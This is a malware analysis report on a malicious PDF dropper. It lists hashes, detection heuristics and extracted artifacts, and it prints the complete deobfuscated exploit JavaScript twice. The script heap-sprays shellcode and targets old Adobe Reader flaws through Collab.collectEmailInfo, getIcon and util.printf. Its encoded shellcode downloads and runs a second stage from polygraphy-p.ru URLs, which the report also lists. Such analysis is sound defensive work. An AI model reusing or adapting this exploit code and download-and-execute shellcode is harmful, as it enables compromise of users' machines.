Malicious PDF — malware analysis report

Static analysis result for SHA-256 19a052a8a8fbec73…

MALICIOUS

PDF

7.5 KB First seen: 2013-08-20
MD5: 428183857a3b146040b568dfb4c54215 SHA-1: 83d9d0efd546bc4f5b47600d2420f0d81a20d81d SHA-256: 19a052a8a8fbec7389c657408450ef194eb3c0bf3b273950197db58eb9e2b106
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF contains embedded JavaScript that exploits CVE-2007-5659 using the Collab.collectEmailInfo function. This script is designed to download and execute a second-stage payload from the URLs found in the heuristics and script content. The primary function of this PDF is to act as a dropper for further malicious activity.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
         var kaTVN671NPWQoJ6Gj7SQ =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB% …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://polygraphy-p.ru/elexp/getexe.php?spl=pdf_email Referenced by PDF JavaScript
    • http://polygraphy-p.ru/elexp/getexe.php?spl=pdf_prntfReferenced by PDF JavaScript
    • http://polygraphy-p.ru/elexp/getexe.php?spl=pdf_icnReferenced by PDF JavaScript
    • http://polygraphy-p.ru/elexp/getexReferenced by PDF JavaScript

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xD6 6199 bytes
SHA-256: e402ccb5454ae2c51b897f599a49e9ec568a400e12fcf8ce424e4f6e5649b51c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 24 of 42 identifiers look randomly generated (e.g. 'aPmfSQ2Bha4VadHmGE3J') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var QfBZDGHNDGGG6Cnd3y3u = new Array();
 var hX30Kekdi7XXmj8zzOND;
 var lave = eval;
 function ddTjqGMtFPnZwqiGVTtD(VRkLBrLAFiOuLrdC916N, FswMifdD9XQiyB404OKJ)
 {
   while(VRkLBrLAFiOuLrdC916N.length * 2 < FswMifdD9XQiyB404OKJ)
   {
     VRkLBrLAFiOuLrdC916N += VRkLBrLAFiOuLrdC916N;
   }
   VRkLBrLAFiOuLrdC916N = VRkLBrLAFiOuLrdC916N.substring(0, FswMifdD9XQiyB404OKJ / 2);
   return VRkLBrLAFiOuLrdC916N;
 }
 function piDTarfirk7Hd4dLiGZr(C1amBdwF3HY01mcadHIV)
 {
   if(C1amBdwF3HY01mcadHIV == 0)
   {
     var aPmfSQ2Bha4VadHmGE3J = 0x0c0c0c0c;
     var kaTVN671NPWQoJ6Gj7SQ =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6C6F%u6779%u6172%u6870%u2D79%u2E70%u7572%u652F%u656C%u7078%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
   }
   else if(C1amBdwF3HY01mcadHIV == 1)
   {
     aPmfSQ2Bha4VadHmGE3J = 0x30303030;
     var kaTVN671NPWQoJ6Gj7SQ =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6C6F%u6779%u6172%u6870%u2D79%u2E70%u7572%u652F%u656C%u7078%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
   }
   else if(C1amBdwF3HY01mcadHIV == 2)
   {
     var kaTVN671NPWQoJ6Gj7SQ =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6C6F%u6779%u6172%u6870%u2D79%u2E70%u7572%u652F%u656C%u7078%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
   }
   var zVvI9D5PR8ixhBT6HZ7f = 0x400000;
   var Yc6nvB5eIW6z21H0EMYf = kaTVN671NPWQoJ6Gj7SQ.length * 2;
   var FswMifdD9XQiyB404OKJ = zVvI9D5PR8ixhBT6HZ7f - (Yc6nvB5eIW6z21H0EMYf + 0x38);
   var VRkLBrLAFiOuLrdC916N = unescape("%u9090%u9090");
   VRkLBrLAFiOuLrdC916N = ddTjqGMtFPnZwqiGVTtD(VRkLBrLAFiOuLrdC916N, FswMifdD9XQiyB404OKJ);
   var DHdBS8GkhMPgzVTvgXZz = (aPmfSQ2Bha4VadHmGE3J - 0x400000) / zVvI9D5PR8ixhBT6HZ7f;
   for(var wfy6fGEtcnZ75DIXKYI3 = 0; wfy6fGEtcnZ75DIXKYI3 < DHdBS8GkhMPgzVTvgXZz; wfy6fGEtcnZ75DIXKYI3++)
   {
     QfBZDGHNDGGG6Cnd3y3u[wfy6fGEtcnZ75DIXKYI3] = VRkLBrLAFiOuLrdC916N + kaTVN671NPWQoJ6Gj7SQ;
   }
 }
 function wiivDCqukQto6stl99fl()
 {
   var rEs1SAXnippeYYZlkQgU = 0;
   var iZJvSCgaLLMGaEH4Opq8 = app.viewerVersion.toString();
   app.clearTimeOut(hX30Kekdi7XXmj8zzOND);
   if((iZJvSCgaLLMGaEH4Opq8 >= 8 && iZJvSCgaLLMGaEH4Opq8 < 8.102) || iZJvSCgaLLMGaEH4Opq8 < 7.1)
   {
     piDTarfirk7Hd4dLiGZr(0);
     var eglDELyzleUcEnXgzEHK = unescape("%u0c0c%u0c0c");
     while(eglDELyzleUcEnXgzEHK.length < 44952) eglDELyzleUcEnXgzEHK += eglDELyzleUcEnXgzEHK;
     var LdbBstEGi6NNl0a1VZ1G = this;
     var mUtTHQAHfRcF6DQx8fEp = Collab;
     LdbBstEGi6NNl0a1VZ1G["collabStore"] = mUtTHQAHfRcF6DQx8fEp["collectEmailInfo"](
     {
       subj : "", msg : eglDELyzleUcEnXgzEHK
     }
     );
   }
   if((iZJvSCgaLLMGaEH4Opq8 >= 8.102 && iZJvSCgaLLMGaEH4Opq8 < 8.104) || (iZJvSCgaLLMGaEH4Opq8 >= 9 && iZJvSCgaLLMGaEH4Opq8 < 9.1) || iZJvSCgaLLMGaEH4Opq8 <= 7.101)
   {
     try
     {
       if(app.doc.Collab.getIcon)
       {
         piDTarfirk7Hd4dLiGZr(2);
         var jbCWknXFMXWa2P5IqEZV = unescape("%09");
         while(jbCWknXFMXWa2P5IqEZV.length < 0x4000)
         {
           jbCWknXFMXWa2P5IqEZV += jbCWknXFMXWa2P5IqEZV;
         }
         jbCWknXFMXWa2P5IqEZV = "N." + jbCWknXFMXWa2P5IqEZV;
         var KBllPCjXrxMcYZ9JNfZj = app;
         KBllPCjXrxMcYZ9JNfZj["doc"]["Collab"]["getIcon"](jbCWknXFMXWa2P5IqEZV);
         rEs1SAXnippeYYZlkQgU = 1;
       }
       else
       {
         rEs1SAXnippeYYZlkQgU = 1;
       }
     }
     catch(e)
     {
       rEs1SAXnippeYYZlkQgU = 1;
     }
     if(rEs1SAXnippeYYZlkQgU == 1)
     {
       if(iZJvSCgaLLMGaEH4Opq8 == 8.102 || iZJvSCgaLLMGaEH4Opq8 == 7.1)
       {
         piDTarfirk7Hd4dLiGZr(1);
         var n6KEVOWMc7sIId5iqnFh = "12999999999999999999";
         for(KcKJCSdZ8CIKIdYo36Af = 0; KcKJCSdZ8CIKIdYo36Af < 276; KcKJCSdZ8CIKIdYo36Af++)
         {
           n6KEVOWMc7sIId5iqnFh += "8";
         }
         var n4yUh3DXqTFb6ZvH2Yq0 = util;
         n4yUh3DXqTFb6ZvH2Yq0["printf"]("%45000f", n6KEVOWMc7sIId5iqnFh);
       }
     }
   }
}
 app.b0U4m4sp94UL7SqnV4KL = wiivDCqukQto6stl99fl;
 hX30Kekdi7XXmj8zzOND = app.setTimeOut("app.b0U4m4sp94UL7SqnV4KL()", 1);
javascript_obj0009_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 278 bytes
SHA-256: cf67638f9005662621a6a8caa015972277a2ea8afaf91cd244c5b1f5757965ef
javascript_obj0009_000_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 278 bytes
SHA-256: e29923f46f57bb17c143f0d24a29e87e951c2839099ed69b219bf0c65e4bbeb3
javascript_obj0009_000_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 276 bytes
SHA-256: f53ea7f355a9dc1f04952d6da0f7854bf56c40d062a548d314f3e129c6295820
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 6195 bytes
SHA-256: 05bb9d4dff971bd17a1629b22fb79eed1288508bce05e26f1174a0c8d7f4dea0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 24 of 42 identifiers look randomly generated (e.g. 'aPmfSQ2Bha4VadHmGE3J') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var QfBZDGHNDGGG6Cnd3y3u = new Array();
 var hX30Kekdi7XXmj8zzOND;
 var lave = eval;
 function ddTjqGMtFPnZwqiGVTtD(VRkLBrLAFiOuLrdC916N, FswMifdD9XQiyB404OKJ)
 {
   while(VRkLBrLAFiOuLrdC916N.length * 2 < FswMifdD9XQiyB404OKJ)
   {
     VRkLBrLAFiOuLrdC916N += VRkLBrLAFiOuLrdC916N;
   }
   VRkLBrLAFiOuLrdC916N = VRkLBrLAFiOuLrdC916N.substring(0, FswMifdD9XQiyB404OKJ / 2);
   return VRkLBrLAFiOuLrdC916N;
 }
 function piDTarfirk7Hd4dLiGZr(C1amBdwF3HY01mcadHIV)
 {
   if(C1amBdwF3HY01mcadHIV == 0)
   {
     var aPmfSQ2Bha4VadHmGE3J = 0x0c0c0c0c;
     var kaTVN671NPWQoJ6Gj7SQ =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6C6F%u6779%u6172%u6870%u2D79%u2E70%u7572%u652F%u656C%u7078%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
   }
   else if(C1amBdwF3HY01mcadHIV == 1)
   {
     aPmfSQ2Bha4VadHmGE3J = 0x30303030;
     var kaTVN671NPWQoJ6Gj7SQ =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6C6F%u6779%u6172%u6870%u2D79%u2E70%u7572%u652F%u656C%u7078%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
   }
   else if(C1amBdwF3HY01mcadHIV == 2)
   {
     var kaTVN671NPWQoJ6Gj7SQ =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6C6F%u6779%u6172%u6870%u2D79%u2E70%u7572%u652F%u656C%u7078%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
   }
   var zVvI9D5PR8ixhBT6HZ7f = 0x400000;
   var Yc6nvB5eIW6z21H0EMYf = kaTVN671NPWQoJ6Gj7SQ.length * 2;
   var FswMifdD9XQiyB404OKJ = zVvI9D5PR8ixhBT6HZ7f - (Yc6nvB5eIW6z21H0EMYf + 0x38);
   var VRkLBrLAFiOuLrdC916N = unescape("%u9090%u9090");
   VRkLBrLAFiOuLrdC916N = ddTjqGMtFPnZwqiGVTtD(VRkLBrLAFiOuLrdC916N, FswMifdD9XQiyB404OKJ);
   var DHdBS8GkhMPgzVTvgXZz = (aPmfSQ2Bha4VadHmGE3J - 0x400000) / zVvI9D5PR8ixhBT6HZ7f;
   for(var wfy6fGEtcnZ75DIXKYI3 = 0; wfy6fGEtcnZ75DIXKYI3 < DHdBS8GkhMPgzVTvgXZz; wfy6fGEtcnZ75DIXKYI3++)
   {
     QfBZDGHNDGGG6Cnd3y3u[wfy6fGEtcnZ75DIXKYI3] = VRkLBrLAFiOuLrdC916N + kaTVN671NPWQoJ6Gj7SQ;
   }
 }
 function wiivDCqukQto6stl99fl()
 {
   var rEs1SAXnippeYYZlkQgU = 0;
   var iZJvSCgaLLMGaEH4Opq8 = app.viewerVersion.toString();
   app.clearTimeOut(hX30Kekdi7XXmj8zzOND);
   if((iZJvSCgaLLMGaEH4Opq8 >= 8 && iZJvSCgaLLMGaEH4Opq8 < 8.102) || iZJvSCgaLLMGaEH4Opq8 < 7.1)
   {
     piDTarfirk7Hd4dLiGZr(0);
     var eglDELyzleUcEnXgzEHK = unescape("%u0c0c%u0c0c");
     while(eglDELyzleUcEnXgzEHK.length < 44952) eglDELyzleUcEnXgzEHK += eglDELyzleUcEnXgzEHK;
     var LdbBstEGi6NNl0a1VZ1G = this;
     var mUtTHQAHfRcF6DQx8fEp = Collab;
     LdbBstEGi6NNl0a1VZ1G["collabStore"] = mUtTHQAHfRcF6DQx8fEp["collectEmailInfo"](
     {
       subj : "", msg : eglDELyzleUcEnXgzEHK
     }
     );
   }
   if((iZJvSCgaLLMGaEH4Opq8 >= 8.102 && iZJvSCgaLLMGaEH4Opq8 < 8.104) || (iZJvSCgaLLMGaEH4Opq8 >= 9 && iZJvSCgaLLMGaEH4Opq8 < 9.1) || iZJvSCgaLLMGaEH4Opq8 <= 7.101)
   {
     try
     {
       if(app.doc.Collab.getIcon)
       {
         piDTarfirk7Hd4dLiGZr(2);
         var jbCWknXFMXWa2P5IqEZV = unescape("	");
         while(jbCWknXFMXWa2P5IqEZV.length < 0x4000)
         {
           jbCWknXFMXWa2P5IqEZV += jbCWknXFMXWa2P5IqEZV;
         }
         jbCWknXFMXWa2P5IqEZV = "N." + jbCWknXFMXWa2P5IqEZV;
         var KBllPCjXrxMcYZ9JNfZj = app;
         KBllPCjXrxMcYZ9JNfZj["doc"]["Collab"]["getIcon"](jbCWknXFMXWa2P5IqEZV);
         rEs1SAXnippeYYZlkQgU = 1;
       }
       else
       {
         rEs1SAXnippeYYZlkQgU = 1;
       }
     }
     catch(e)
     {
       rEs1SAXnippeYYZlkQgU = 1;
     }
     if(rEs1SAXnippeYYZlkQgU == 1)
     {
       if(iZJvSCgaLLMGaEH4Opq8 == 8.102 || iZJvSCgaLLMGaEH4Opq8 == 7.1)
       {
         piDTarfirk7Hd4dLiGZr(1);
         var n6KEVOWMc7sIId5iqnFh = "12999999999999999999";
         for(KcKJCSdZ8CIKIdYo36Af = 0; KcKJCSdZ8CIKIdYo36Af < 276; KcKJCSdZ8CIKIdYo36Af++)
         {
           n6KEVOWMc7sIId5iqnFh += "8";
         }
         var n4yUh3DXqTFb6ZvH2Yq0 = util;
         n4yUh3DXqTFb6ZvH2Yq0["printf"]("E000f", n6KEVOWMc7sIId5iqnFh);
       }
     }
   }
}
 app.b0U4m4sp94UL7SqnV4KL = wiivDCqukQto6stl99fl;
 hX30Kekdi7XXmj8zzOND = app.setTimeOut("app.b0U4m4sp94UL7SqnV4KL()", 1);